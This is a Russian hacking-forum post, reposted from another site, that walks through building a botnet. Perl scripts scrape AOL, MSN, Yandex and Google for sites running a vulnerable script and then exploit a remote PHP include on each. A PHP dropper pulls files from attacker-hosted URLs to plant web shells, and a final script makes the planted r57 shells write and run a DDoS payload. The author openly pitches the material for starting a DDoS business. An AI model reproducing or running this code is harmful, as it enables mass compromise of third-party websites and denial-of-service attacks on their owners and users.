Автоматическое создание бот-сетей при помощи поисковых машин

timonsyz

Professional
Messages
397
Reputation
77
Reaction score
121
Points
43
Эта статья носит сугубо практический характер, прочитав ее и закрепив на практике многие скажут - 'спасибо n4n0bit', ибо на мой взгляд она должна показаться интересной читателю. После ее прочтения можно будет самому писать средства DDOS и уже не покупать у кого то услуги, а организовывать свой DDOS бизнес. Так же можно использоваться этот материал и для защиты, для поиска сайтов с уязвимым ПО и оповещении их владельцев.
Перейдем непосредственно к практике.
Поисковая часть
Для поиска будем использовать 4 поисковые системы: aol.com, msn.com, yandex.ru и google.com.
Code:
[COLOR=#008000]#!/usr/bin/perl 
    use strict; 
     use warnings; 
    use LWP::UserAgent; 

    our $h0pz = 20; # [/COLOR]
число скачков по результатам поисковика
our $banner = 'kblance'; #
собственно цель поиска
our $mask = 'BB/'; #
маска установочного пути, т.е. http://bla.ru/phpBB/index.php, если ПО установлено сразу в корень,
#
т.е. http://bla.ru/index.php, значение переменной оставляем пустым
our $include = 'http://[my_shell]/script'; #
это путь к скрипту который мы хотим подгрузить, используя уязвимость
our $accord = 'vse_*aebis'; # возращаемый ответ соответствия

our @c0ntent = (); #
в эту переменную будет в последующем заноситься результаты поиска
our @uRLS = (); #
здесь буду уже будут содержаться исключительно URLы

#
опишем подпрограмму поиска используя aol.com

sub aolCom
{

print "[:: aol.com ::]\n";
for(my $i = 1; $i <= $h0pz/10; $i++) #
скачем по страницам результатов
{
my $ua = LWP::UserAgent->new;
#
указываем UserAgent браузера
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
#
Составляем запрос поиковику с переменными $banner и $i
my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
$req->header('Accept' => 'text/html');
#
отправляем запрос
my $res = $ua->request($req);
#
добавляем в массив @c0ntent общий результат поиска
push @c0ntent, $res->content;
}
#
выдираем из общего результата толька URL-ы
foreach(@c0ntent){push @uRLS, $_ =~ m{<b id="[^"]*">(.+?)</b>}smig;} #"
}

#
опишем подпрограмму поиска используя msn.com
sub msnCom
{

print "[:: msn.com ::]\n";
for(my $i = 1; $i <= $h0pz; $i += 10) #
скачем по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://search.msn.com/results.aspx?q=$banner&first=$i&FORM=");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<h3><a.\w+\W{2}(.+?)\W>/g;} #"
}

#
опишем код поиска по яндексу
sub yandex
{

print "[:: yandex.ru ::]\n";
for(my $i = 1; $i <= $h0pz/10; $i++) #
скачем по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://ya.ru/yandpage?&q=744300646&p=$i&ag=d&qs=rpt=rad&text=$banner");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /\W{3}.href\W{2}(.+?)\W.target/g;} #"
}
#
ну и всеми любимый гуглА ;)

sub google
{

print "[:: google.com ::]\n";
for(my $i = 1; $i <= $h0pz; $i += 10) #
скачем по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://google.com/search?q=$banner&hl=en&lr=&start=$i&sa=N");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<a.\w+\W{2}.\W.\w+\W{2}(.+?)\W>/g;} #"
}

Поисковая часть готова. Как вы видите, все довольно просто. Единственное, что требуется, так это менять шаблоны для парсинга.
Я поясню, почему в одном случае делается for(my $i = 1; $i <= $h0pz; $i += 10), а в другом for(my $i = 1; $i <= $h0pz/10; $i++); Когда поисковик выдал первый результат на 1й странице, вы можете просмотреть результаты и на последующих страницах и щелкать 1,2,3...10. У гугла, например, в переменную "start" ( =en&lr=&start=$i& ) добавляется 10 всегда если вы на первой, если на 2й то еще 10 и того 20; у других же поисковиков, например yandex.ru, передается в переменную "p" ( 744300646&p=$i&ag=d&qs ) по порядку цифры, от 1 и дальше в зависимости от того сколько страниц результата поиска. Ну а уже наша переменна $i и есть число следующей страницы результатов. Тут думаю все понятно.
Фильтрация результатов
Здесь опешим "фильтр", т.к. из этих 4х поисковиков в переменной массива @uRLS могут содержаться одинаковые результаты, т.е. одинаковые урлы, поэтому нам требуется выбросить из массива одинаковые результаты. Что бы воспользоваться ф-цией filter() нужно ей передать УРЛы, это уже я не буду описывать, это касается и последующих ф-ций.
Code:
[COLOR=#008000]    sub filter # filter("список урлов"); 
    { 
        print "[:: filtering ::]\n"; 
        my (%uR,%glob); 
        foreach(@_) # 
         { 
                /(.+?$mask)/oi; # [/COLOR]
определяем УРЛ до маски установочного пути и заносим в специальную переменную $1
my $url = $1;
$uR{$_} = $url if /$mask/oi; #
добавим УРЛ если он содержит маску установочного пути
next if exists $uR{$_}; #
если такой УРЛ уже содержится в качестве ключа хеша %uR, то исключим его
}

foreach(keys %uR)
{
/.+?\/\/.+?(\/.*$mask)/oi; #
здесь определяем установочный путь уязвимого ПО и заносим в специальную переменную $1
my $dir = $1;
my @own = split(/\//,$_);
unless($own[2] =~ /^www/) { $own[2] = "www.".$own[2]; } #
добавим "www" если они отсутствуют
$glob{$own[2]} = $dir; # ключом является УРЛ, а значением ключа установочный путь
}

return %glob; #
возвращаем результат host/repl
}
Exploiting
Подпрограмма фильтрации у нас есть, поисковая часть тоже есть, напишем подпрограмму, которая будет проверять работоспособность уязвимости.

Code:
[COLOR=#008000]    sub fucking # fucking("\%glob"); 
    { 
     print "[:: exploiting ::]\n"; 
    foreach my $href(\%glob) 
    { 
        while(my($a,$b) = each %$href) # [/COLOR]
пройдясь по хешу запишем в переменную $a хост, а в $b установочный путь
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://$a$b$include"); #
добавляем переменную $include
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);

if($res->content =~ /$accord/oi) #
проверяем ответ сервера на наличия слова-соответствия
{
print "[+] $a$b$include\n"; #
выводим результат если все удалось
}
else
{
print "[-] $a$b$include\n"; #
если не удалось
}
}
}
}

Вам только остается все это дело склеить, добавив еще 5 строк кода.
Автошеллер
Далее поведаю вам как можно написать простой автошеллер. Автошеллер это автоматизированный скрипт, который используя уязвимость закачивает шелл-скрипт (ну или что то другое). Посмотрим на примере:
Мы имеем 100% php-include по этому урлу:
http://victim.org/admin.php?i=[здесь_уязвимость]
В значение переменной "i" мы подставляем следующий урл:

http://[SHELL]/p.php&url=http://[SOURCE]/post.txt&kuda =./&name=iamhax0r.php

Все в целом будет выглядить так:

http://[victim.org]/admin.php?i=http://[SHELL]/p.php&url= http://[source]/post.txt&kuda=./&name=iamhax0r.php

  • В значение переменной "url" ставим урл того, что требуется скачать
  • "kuda" - заносим значение куда нужна сохранить, а нашем случае в текущую диру "./"
  • "name" - пишем под каким именем нужна сохранить
Итак, используя этот вариант и учитывая, что бага нам позволит им воспользоваться, мы можем закачать любой файл на сервер не пользуясь wget, fetch, curl и прочими программами для закачки. После того как вы закачаете файл и он будет удачно сохранен, будет отправлен ответ в виде сообщения "You_the_mainest_evil_of_runet by Hell Knights Crew", который послужит в дальнейшем сигнализатором выполнения успешной работы.

Вот содержимое p.php :

Code:
[COLOR=#008000]   <?php 
    $f=file_get_contents($_GET['url']); 
    $h=fopen($_GET['kuda'].$_GET['name'],'w'); 
    fputs($h,$f); 
    fclose($h) && print "You_the_mainest_evil_of_runet by Hell  Knights Crew"; 
[/COLOR]
Пишим сам код автошеллера:

Code:
[COLOR=#008000] #!/usr/bin/perl 
    use strict; 
    use LWP::UserAgent; 
     use warnings; 
    our $sh_file = 'shells.txt'; 
     our $reply = '[URL]http://shell.narod.ru/p.php&url=[/URL] [URL]http://src.byru/post.txt&kuda=./&name=iamhax0r.php[/URL]'; 
    open(SH,"$sh_file") or die "$!"; 
    foreach(<SH>) 
     { 
        chomp; 
        my $ua = LWP::UserAgent->new; 
         $ua->agent("Googlebot/2.1 (+[URL]http://www.google.com/bot.html[/URL])"  . $ua->agent); 
        my $req = HTTP::Request->new(GET => "$_$reply"); 
         $req->header('Accept' => 'text/html'); 
        my $res = $ua->request($req); 
        if($res->content =~ /You_the_mainest_evil_of_runet by Hell  Knights Crew/) { print "[+] $_$reply\n"; } 
        else { print "[-] $_$reply\n"; } 
 
    } 
        close SH; [/COLOR]
Организация ddos на базе web-шеллов
Думаю, что для названия этой статьи будет актуально привести небольшой пример организации DDOS атак построенный на шелл-скриптах. Суть очень проста: вы имеете файл, содержащий список уже закаченных и рабочих шелов. Возьмем за основу r57shell 1.31. Проста передаем параметры скрипту и все:
Code:
[COLOR=#008000]#!/usr/bin/perl 
    use strict; 
    use warnings; 
    use LWP::UserAgent; 
    use HTTP::Request::Common; 
    our $name = 'ddos.pl'; 
     our $src = 'здесь будет содержаться текст, будь то тело досера или просто Hello Word'; 
    our $dir = '/tmp/'; 
    open(SH,"shell.txt") or die "$!"; 
    chomp(our @sh = <SH>); 
    close SH; 
     foreach(@sh) 
    { 
        my $ua = new LWP::UserAgent; 
        my $res = $ua->request(POST "$_", 
                                [ 
                                cmd => "echo $src>$name;perl  $name", 
                                 dir => "$dir", 
                                submit => '' 
                                ]); 
        if($res->{_rc} =~ /200/) { print "Reply [ok]\n"; } 
     } [/COLOR]
Этот момент мне нравиться тем, что опять не нужно пользоваться уже установленными качалками, а все делается через echo, который
всегда есть, а wget-ов, фетчей и прочих курлов может и не быть либо ограничен к ним доступ.

Gr337z

zimin4ik, Hell Knights Crew
Оригинал статьи: hxxp://www.inattack.ru/article/424.html
 
Top